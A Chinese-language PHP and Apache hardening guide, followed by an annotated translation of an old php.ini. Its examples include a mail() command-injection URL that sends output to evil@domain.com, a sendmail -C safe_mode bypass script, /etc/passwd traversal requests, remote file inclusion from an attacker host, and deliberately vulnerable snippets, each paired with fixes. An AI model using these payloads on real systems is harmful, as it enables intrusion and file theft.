php 安全

 
一、Web服务器安全
 
PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
 
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
 
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
 
二、PHP本身问题 网管u家u.bitscn@com
 
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.
 
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。
 
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
执行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:
#注意,下面这两个必须是不存在的,
或者它们的属主和本脚本的属主是一样
$script=”/tmp/script123″;
$cf=”/tmp/cf123″;
$fd = fopen($cf, “w”);
fwrite($fd, “OQ/tmp
Sparse=0
R$*” . chr(9) . “$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script”);
fclose($fd);
$fd = fopen($script, “w”);
fwrite($fd, “rm -f $script $cf; “);
fwrite($fd, $cmd);
fclose($fd);
mail(“nobody”, “”, “”, “”, “-C$cf”);
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。
 
三、PHP本身的安全配置
PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
 
如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
 
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:
 
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。
 
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定义目录:
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:
几个文件的属性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r–r– 1 root root 4110 Oct 26 2002 index.html
-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:
safe_mode_gid = On
设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、ls -l这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。
指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。
注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
 
2、变量滥用
PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = “EGPCS”(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:
//test_1.php
if ($pass == “hello”)
$auth = 1;
if ($auth == 1)
echo “some important information”;
else
echo “nothing”;
?>
攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。
解决方法:
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
 
3、文件打开
极易受攻击的代码片断:
//test_2.php
if (!($str = readfile(“$filename”))) {
echo(“Could not open file: $filename
\n”);
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法:
如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:
Warning: open_basedir restriction in effect.
File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题,前面已经讨论过了。
 
4、包含文件
极易受攻击的代码片断:
//test_3.php
if(file_exists($filename))
include(“$filename”);
?>
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:
//test_4.php
include(“$lib/config.php”);
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。
解决方法:
要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:
allow_url_fopen = Off
重启apache
 
[PHP] 
; PHP还是一个不断发展的工具,其功能还在不断地删减 
; 而php.ini的设置更改可以反映出相当的变化, 
; 在使用新的PHP版本前,研究一下php.ini会有好处的 
;;;;;;;;;;;;;;;;;;; 
; 关于这个文件 ; 
;;;;;;;;;;;;;;;;;;; 
; 这个文件控制了PHP许多方面的观点.为了让PHP读取这个文件,它必须被命名为 
; ‘php.ini’.PHP 将在这些地方依次查找该文件:当前工作目录;环境变量PHPRC 
; 指明的路径;编译时指定的路径. 
; 在windows下,编译时的路径是Windows安装目录. 
; 在命令行模式下,php.ini的查找路径可以用 -c 参数替代. 
; 该文件的语法非常简单.空白字符和用分号’;’开始的行被简单地忽略(就象你可能 
; 猜到的一样). 章节标题(例如 : [Foo])也被简单地忽略,即使将来它们可能 
; 有某种的意义. 
; 
; 指示被指定使用如下语法: 
; 指示标识符 = 值 
; directive = value 
; 指示标识符 是 *大小写敏感的* – foo=bar 不同于 FOO = bar. 
; 
; 值可以是一个字符串,一个数字,一个 PHP 常量 (如: E_ALL or M_PI), INI 常量中的 
; 一个 (On, Off, True, False, Yes, No and None) ,或是一个表达式 
; (如: E_ALL & ~E_NOTICE), 或是用引号括起来的字符串(“foo”).  
; 
; INI 文件的表达式被限制于位运算符和括号. 
; | bitwise OR 
; & bitwise AND 
; ~ bitwise NOT 
; ! boolean NOT 
; 
; 布尔标志可用 1, On, True or Yes 这些值置于开的状态. 
; 它们可用 0, Off, False or No 这些值置于关的状态. 
; 
; 一个空字符串可以用在等号后不写任何东西表示,或者用 None 关键字: 
; 
; foo = ; 将foo置为空字符串 
; foo = none ; 将foo置为空字符串 
; foo = “none” ; 将foo置为字符串’none’ 
; 
; 如果你值设置中使用常量,而这些常量属于动态调入的扩展库(不是 PHP 的扩展,就是 
; Zend 的扩展),你仅可以调入这些扩展的行*之后*使用这些常量. 
; 
; 所有在 php.ini-dist 文件里设定的值与内建的默认值相同(这是说,如果 php.ini 
; 没被使用或者你删掉了这些行,默认值与之相同). 
;;;;;;;;;;;;;;;;;;;; 
; 语言选项 ; 
;;;;;;;;;;;;;;;;;;;; 
engine = On 
; 使 PHP scripting language engine(PHP 脚本语言引擎)在 Apache下有效. 
short_open_tag = On 
; 允许 <? 标识(这种简单表示). 仅有 <?php and <script> tags 将被识别. 
asp_tags = Off 
; 允许ASP-style <% %> tags 
precision = 14 
; 浮点类型数显示时的有效位数 
y2k_compliance = Off 
; 是否打开 2000年适应 (可能在非Y2K适应的浏览器中导致问题) 
output_buffering = Off 
; 输出缓存允许你甚至在输出正文内容之后发送 header(标头,包括cookies)行 
; 其代价是输出层减慢一点点速度.你可以使用输出缓存在运行时打开输出缓存, 
; 或者在这里将指示设为 On 而使得所有文件的输出缓存打开. 
output_handler = ; 你可以重定向你的脚本的所有输出到一个函数, 
; 那样做可能对处理或以日志记录它有用. 
; 例如若你将这个output_handler 设为”ob_gzhandler”, 
; 则输出会被透明地为支持gzip或deflate编码的浏览器压缩. 
; 设一个输出处理器自动地打开输出缓冲. 
implicit_flush = Off 
; 强制flush(刷新)让PHP 告诉输出层在每个输出块之后自动刷新自身数据. 
; 这等效于在每个 print() 或 echo() 调用和每个 HTML 块后调用flush()函数. 
; 打开这项设置会导致严重的运行时冲突,建议仅在debug过程中打开. 
allow_call_time_pass_reference = On 
; 是否让强迫函数调用时按引用传递参数.这一方法遭到抗议, 
; 并可能在将来版本的PHP/Zend里不再支持. 
; 受到鼓励的指定哪些参数按引用传递的方法是在函数声明里. 
; 你被鼓励尝试关闭这一选项并确认你的脚本仍能正常工作,以保证在将来版本的语言里 
; 它们仍能工作.(你将在每次使用该特点时得到一个警告,而参数将按值而不是按引用 
; 传递). 
; Safe Mode 安全模式 
safe_mode = Off 
safe_mode_exec_dir = 
safe_mode_allowed_env_vars = PHP_ 
; ?Setting certain environment variables 
; ?may be a potential security breach. 
; 该指示包含用逗号分隔的前缀列表.安全模式中,用户仅可以替换 
; 以在此列出的前缀开头的环境变量的值. 
; 默认地,用户将仅能 设定以PHP_开头的环境变量,(如: PHP_FOO=BAR). 
; 注意: 如果这一指示为空,PHP 将让用户更改任意环境变量! 
safe_mode_protected_env_vars = LD_LIBRARY_PATH 
; 这条指示包含一个用逗号分隔的环境变量列表,那是最终用户将不能用putenv () 更改的. 
; 这些变量甚至在safe_mode_allowed_env_vars 设置为允许的情况下得到保护. 
disable_functions = 
; 这条指示让你可以为了安全的原因让特定函数失效. 
; 它接受一个用逗号分隔的函数名列表. 
; 这条指示 *不受* 安全模式是否打开的影响. 
; 语法高亮模式的色彩. 
; 只要能被<font color=???>接受的东西就能工作. 
highlight.string = #DD0000 
highlight.comment = #FF8000 
highlight.keyword = #007700 
highlight.bg = #FFFFFF 
highlight.default = #0000BB 
highlight.html = #000000 
; Misc 杂项 
expose_php = Off  
; 决定 PHP 是否标示它装在服务器上的事实(例如:加在它 —PHP—给Web服务 
; 发送的信号上). 
; (我个人的意见,在出现什么power-by的header的时候,把这关掉.) 
; 它不会有安全上的威胁, 但它使检查你的服务器上是否安装了PHP成为了可能. 
;;;;;;;;;;;;;;;;;;; 
; Resource Limits ; 
;;;;;;;;;;;;;;;;;;; 
max_execution_time = 30 ; 每个脚本的最大执行时间, 按秒计 
memory_limit = 8388608 ; 一个脚本最大可使用的内存总量 (这里是8MB) 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
; Error handling and logging ; 
; 出错控制和登记 ; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
; 错误报告是按位的.或者将数字加起来得到想要的错误报告等级. 
; E_ALL – 所有的错误和警告 
; E_ERROR – 致命性运行时错 
; E_WARNING – 运行时警告(非致命性错) 
; E_PARSE – 编译时解析错误 
; E_NOTICE – 运行时提醒(这些经常是是你的代码的bug引起的, 
;也可能是有意的行为造成的.(如:基于未初始化的变量自动初始化为一个 
;空字符串的事实而使用一个未初始化的变量) 
; E_CORE_ERROR – 发生于PHP启动时初始化过程中的致命错误 
; E_CORE_WARNING – 发生于PHP启动时初始化过程中的警告(非致命性错) 
; E_COMPILE_ERROR – 编译时致命性错 
; E_COMPILE_WARNING – 编译时警告(非致命性错) 
; E_USER_ERROR – 用户产生的出错消息 
; E_USER_WARNING – 用户产生的警告消息 
; E_USER_NOTICE – 用户产生的提醒消息 
; 例子: 
; error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒 
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; 仅显示错误 
error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒 
display_errors = On ; 显示出错误信息(作为输出的一部分) 
; 在最终发布的web站点上,强烈建议你关掉这个特性,并使用 
; 错误日志代替(参看下面). 
; 在最终发布的web站点继续让 display_errors 有效可能 
; 暴露一些有关安全的信息,例如你的web服务上的文件路径、 
; 你的数据库规划或别的信息. 
display_startup_errors = Off ; 甚至当display_erroes打开了,发生于PHP的启动的步骤中 
; 的错误也不会被显示. 
; 强烈建议保持使 display_startup_errors 关闭, 
; 除了在改错过程中. 
log_errors = Off ; 在日志文件里记录错误(服务器指定的日志,stderr标准错误输出,或error_log(下面的)) 
; 正如上面说明的那样,强烈建议你在最终发布的web站点以日志记录错误 
; 取代直接错误输出. 
track_errors = Off ; 保存最近一个 错误/警告 消息于变量 $php_errormsg (boolean) 
;error_prepend_string = “<font color=ff0000>” ; 于错误信息前输出的字符串 
;error_append_string = “</font>” ; 于错误信息后输出的字符串 
;error_log = filename ; 记录错误日志于指定文件 
;error_log = syslog ; 记录错误日志于系统日志 syslog (NT 下的事件日志, Windows 95下无效) 
warn_plus_overloading = Off ; 当将‘+’用于字符串时警告 
;;;;;;;;;;;;;;;;; 
; Data Handling ; 
;;;;;;;;;;;;;;;;; variables_order = “EGPCS” ; 这条指示描述了PHP 记录 
; GET, POST, Cookie, Environment and Built-in 这些变量的顺序. 
; (以 G, P, C, E & S 代表,通常以 EGPCS 或 GPC 的方式引用). 
; 按从左到右记录,新值取代旧值. 
register_globals = On ; 是否将这些 EGPCS 变量注册为全局变量. 
; 若你不想让用户数据不在全局范围内混乱的话,你可能想关闭它. 
; 这和 track_vars 连起来用更有意义 — 这样你可以通过 
; $HTTP_*_VARS[] 数组访问所有的GPC变量. 
register_argc_argv = On ; 这条指示告诉 PHP 是否声明 argv和argc 变量 
; (注:这里argv为数组,argc为变量数) 
; (其中包含用GET方法传来的数据). 
; 若你不想用这些变量,你应当关掉它以提高性能. 
track_vars = On ; 使$HTTP_*_VARS[]数组有效,这里*在使用时用 
; ENV, POST, GET, COOKIE or SERVER替换 
post_max_size = 8M ; PHP将接受的POST数据最大大小. 
gpc_order = “GPC” ; 这条指示被人反对.用 variables_order 代替. 
; Magic quotes 
magic_quotes_gpc = On ; 在输入的GET/POST/Cookie数据里使用魔术引用 
; (原文就这样,呵呵,所谓magic quotes 应该是指用转义符加在引用性的控制字符上,如 \’….) 
magic_quotes_runtime= Off ; 对运行时产生的数据使用魔术引用, 
; 例如:用SQL查询得到的数据,用exec()函数得到的数据,等等 
magic_quotes_sybase = Off ; 采用 Sybase形式的魔术引用(用 ” 脱出 ‘ 而不用 \’) 
; 自动在 PHP 文档之前和之后添加文件 
auto_prepend_file = 
auto_append_file = 
; 象4.04b4一样,PHP 默认地总是在 “Content-type:” 头标输出一个字符的编码方式. 
; 让输出字符集失效,只要设置为空. 
; PHP 的内建默认值是 text/html 
default_mimetype = “text/html” 
;default_charset = “iso-8859-1″ 
;;;;;;;;;;;;;;;;;;;;;;;;; 
; Paths and Directories ; 
;;;;;;;;;;;;;;;;;;;;;;;;; 
include_path = ; include 路径设置,UNIX: “/path1:/path2” Windows: “\path1;\path2″ 
doc_root = ; php 页面的根路径,仅在非空时有效 
user_dir = ; 告知 php 在使用 /~username 打开脚本时到哪个目录下去找,仅在非空时有效 
;upload_tmp_dir = ; 存放用HTTP协议上载的文件的临时目录(在没指定时使用系统默认的) 
upload_max_filesize = 2097152 ; 文件上载默认地限制为2 Meg 
extension_dir = c:\php\ ; 存放可加载的扩充库(模块)的目录 
enable_dl = On ; 是否使dl()有效. 
; 在多线程的服务器上 dl()函数*不能*很好地工作, 
; 例如IIS or Zeus,并在其上默认为禁止 
;;;;;;;;;;;;;;;; 
; File Uploads ; 
;;;;;;;;;;;;;;;; 
file_uploads = On ; 是否允许HTTP方式文件上载 
;upload_tmp_dir = ; 用于HTTP上载的文件的临时目录(未指定则使用系统默认) 
upload_max_filesize = 2M ; 上载文件的最大许可大小 
; Fopen wrappers ; 
;;;;;;;;;;;;;;;;;; 
allow_url_fopen = On ; 是否允许把URLs当作http:.. 或把文件当作ftp:… 
;;;;;;;;;;;;;;;;;;;;;; 
; 动态扩展 ; 
; Dynamic Extensions ; 
;;;;;;;;;;;;;;;;;;;;;; 
; 若你希望一个扩展库自动加载,用下面的语法: 
; extension=modulename.extension 
; 例如,在windows上, 
; extension=msql.dll 
; or 在UNIX下, 
; extension=msql.so 
; 注意,这只应当是模块的名字,不需要目录信息放在里面. 
; 用上面的 extension_dir 指示指定扩展库的位置. 
;Windows 扩展 
;extension=php_nsmail.dll 
extension=php_calendar.dll 
;extension=php_dbase.dll 
;extension=php_filepro.dll 
extension=php_gd.dll 
;extension=php_dbm.dll 
;extension=php_mssql.dll 
;extension=php_zlib.dll 
;extension=php_filepro.dll  
;extension=php_imap4r2.dll 
;extension=php_ldap.dll 
;extension=php_crypt.dll 
;extension=php_msql2.dll 
;extension=php_odbc.dll 
; 注意, MySQL的支持现在是内建的,因此,不需要用它的dll 
;;;;;;;;;;;;;;;;;;; 
; 模块设定 ; 
; Module Settings ; 
;;;;;;;;;;;;;;;;;;; 
[Syslog] 
define_syslog_variables = Off ; 是否定义各种的系统日志变量 
; 如:$LOG_PID, $LOG_CRON, 等等. 
; 关掉它是个提高效率的好主意. 
; 运行时,你可以调用函数define_syslog_variables(),来定义这些变量 
[mail function] 
SMTP = localhost ;仅用于win32系统 
sendmail_from = me@localhost.com ;仅用于win32系统 
;sendmail_path = ;仅用于unix, 也可支持参数(默认的是’sendmail -t -i’) 
[Debugger] 
debugger.host = localhost 
debugger.port = 7869 
debugger.enabled = False 
[Logging] 
; 这些配置指示用于示例的日志记录机制. 
; 看 examples/README.logging 以得到更多的解释 
;logging.method = db 
;logging.directory = /path/to/log/directory 
[Java] 
;java.class.path = .\php_java.jar 
;java.home = c:\jdk 
;java.library = c:\jdk\jre\bin\hotspot\jvm.dll 
;java.library.path = .\ 
[SQL] 
sql.safe_mode = Off 
[ODBC] 
;uodbc.default_db = Not yet implemented 
;uodbc.default_user = Not yet implemented 
;uodbc.default_pw = Not yet implemented 
uodbc.allow_persistent = On ; 允许或禁止 持久连接 
uodbc.check_persistent = On ; 在重用前检查连接是否还可用 
uodbc.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
uodbc.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制  网管u家u.bitsCN.com
uodbc.defaultlrl = 4096 ; 控制 LONG 类型的字段.返回变量的字节数,0 代表通过(?)0 means passthru 
uodbc.defaultbinmode = 1 ; 控制 二进制数据.0 代表?????Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char 
; 见有关 odbc_binmode 和 odbc_longreadlen 的文档以得到 uodbc.defaultlrl 和 uodbc.defaultbinmode 的解释. 
[MySQL] 
mysql.allow_persistent = On ; 允许或禁止 持久连接 
mysql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
mysql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
mysql.default_port = ; mysql_connect() 使用的默认端口,如不设置,mysql_connect() 
; 将使用变量 $MYSQL_TCP_PORT,或在/etc/services 下的mysql-tcp 条目(unix), 
; 或在编译是定义的 MYSQL_PORT(按这样的顺序) 
; Win32环境,将仅检查MYSQL_PORT. 
mysql.default_socket = ; 用于本地 MySql 连接的默认的套接字名.为空,使用 MYSQL 内建值 
mysql.default_host = ; mysql_connect() 默认使用的主机(安全模式下无效) 
mysql.default_user = ; mysql_connect() 默认使用的用户名(安全模式下无效) 
mysql.default_password = ; mysql_connect() 默认使用的密码(安全模式下无效) 
; 注意,在这个文件下保存密码通常是一个*坏*主意 
; *任何*可以使用PHP访问的用户可以运行 
; ‘echo cfg_get_var(“mysql.default_password”)’来显示那个密码! 
; 而且当然地,任何有读该文件权力的用户也能看到那个密码. 
[mSQL] 
msql.allow_persistent = On ; 允许或禁止 持久连接 
msql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
msql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
[PostgresSQL] 
pgsql.allow_persistent = On ; 允许或禁止 持久连接 
pgsql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
pgsql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
[Sybase] 
sybase.allow_persistent = On ; 允许或禁止 持久连接 
sybase.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
sybase.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
;sybase.interface_file = “/usr/sybase/interfaces” 
sybase.min_error_severity = 10 ; 显示的错误的最低严重性 
sybase.min_message_severity = 10 ; 显示的消息的最低重要性 
sybase.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式.若打开,这将导致 PHP 自动地 
; 把根据结果的 Sybase 类型赋予它们, 
; 而不是把它们全当成字符串. 
; 这个兼容模式不会永远留着, 
; 因此,将你的代码进行需要的修改, 
; 并将该项关闭. 
[Sybase-CT] 
sybct.allow_persistent = On ; 允许或禁止 持久连接 
sybct.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
sybct.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
sybct.min_server_severity = 10 ; 显示的错误的最低严重性 
sybct.min_client_severity = 10 ; 显示的消息的最低重要性 
[bcmath] 
bcmath.scale = 0 ; 用于所有bcmath函数的10十进制数数字的个数number of decimal digits for all bcmath functions 
[browscap] 
;browscap = extra/browscap.ini 
browscap = C:\WIN\SYSTEM\inetsrv\browscap.ini 
[Informix] 
ifx.default_host = ; ifx_connect() 默认使用的主机(安全模式下无效) 
ifx.default_user = ; ifx_connect() 默认使用的用户名(安全模式下无效) 
ifx.default_password = ; ifx_connect() 默认使用的密码(安全模式下无效) 
ifx.allow_persistent = On ; 允许或禁止 持久连接 
ifx.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
ifx.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
ifx.textasvarchar = 0 ; 若打开,select 状态符返回一个 ‘text blob’字段的内容,而不是它的id 
ifx.byteasvarchar = 0 ; 若打开,select 状态符返回一个 ‘byte blob’字段的内容,而不是它的id 
ifx.charasvarchar = 0 ; 追踪从固定长度的字符列里剥离的空格. 
; 可能对 Informix SE 用户有效. 
ifx.blobinfile = 0 ; 若打开,text和byte blobs 的内容被导出到一个文件 
; 而不是保存到内存. 
ifx.nullformat = 0 ; NULL(空)被作为空字段返回,除非,这里被设为1. 
; 这种情况下(为1),NULL作为字串NULL返回. 
[Session] 
session.save_handler = files ; 用于保存/取回数据的控制方式 
session.save_path = C:\win\temp ; 在 save_handler 设为文件时传给控制器的参数, 
; 这是数据文件将保存的路径. 
session.use_cookies = 1 ; 是否使用cookies 
session.name = PHPSESSID 
; 用在cookie里的session的名字 
session.auto_start = 0 ; 在请求启动时初始化session 
session.cookie_lifetime = 0 ; 为按秒记的cookie的保存时间, 
; 或为0时,直到浏览器被重启 
session.cookie_path = / ; cookie的有效路径 
session.cookie_domain = ; cookie的有效域 
session.serialize_handler = php ; 用于连接数据的控制器 
; php是 PHP 的标准控制器. 
session.gc_probability = 1 ; 按百分比的’garbage collection(碎片整理)’进程 
; 在每次 session 初始化的时候开始的可能性.  网管bitscn_com
session.gc_maxlifetime = 1440 ; 在这里数字所指的秒数后,保存的数据将被视为 
; ‘碎片(garbage)’并由gc 进程清理掉. 
session.referer_check = ; 检查 HTTP引用以使额外包含于URLs中的ids无效 
session.entropy_length = 0 ; 从文件中读取多少字节 
session.entropy_file = ; 指定这里建立 session id 
; session.entropy_length = 16 
; session.entropy_file = /dev/urandom 
session.cache_limiter = nocache ; 设为{nocache,private,public},以决定 HTTP 的 
; 缓存问题 
session.cache_expire = 180 ; 文档在 n 分钟后过时 
session.use_trans_sid = 1 ; 使用过渡性的 sid 支持,若编译时许可了 
; –enable-trans-sid 
url_rewriter.tags = “a=href,area=href,frame=src,input=src,form=fakeentry” 
[MSSQL] 
;extension=php_mssql.dll 
mssql.allow_persistent = On ; 允许或禁止 持久连接 
mssql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
mssql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制  网管u家u.bitsCN.com
mssql.min_error_severity = 10 ; 显示的错误的最低严重性 
mssql.min_message_severity = 10 ; 显示的消息的最低重要性 
mssql.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式. 
[Assertion] 
; ????? 
;assert.active = On ; ?assert(expr); active by default 
;assert.warning = On ; issue a PHP warning for each failed assertion. 
;assert.bail = Off ; don’t bail out by default. 
;assert.callback = 0 ; user-function to be called if an assertion fails. 
;assert.quiet_eval = 0 ; eval the expression with current error_reporting(). set to true if you want error_reporting(0) around the eval(). 
[Ingres II] 
ii.allow_persistent = On ; 允许或禁止 持久连接 
ii.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
ii.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
ii.default_database = ; 默认 database (format : [node_id::]dbname[/srv_class] 
ii.default_user = ; 默认 user 
ii.default_password = ; 默认 password  网管下载dl.bitscn.com
[Verisign Payflow Pro] 
pfpro.defaulthost = “test.signio.com” ; 默认的 Signio 服务器 
pfpro.defaultport = 443 ; 连接的默认端口 
pfpro.defaulttimeout = 30 ; 按秒计的默认超时时间 
; pfpro.proxyaddress = ; 默认的代理的 IP 地址(如果需要) 
; pfpro.proxyport = ; 默认的代理的端口 
; pfpro.proxylogon = ; 默认的代理的登录(logon 用户名) 
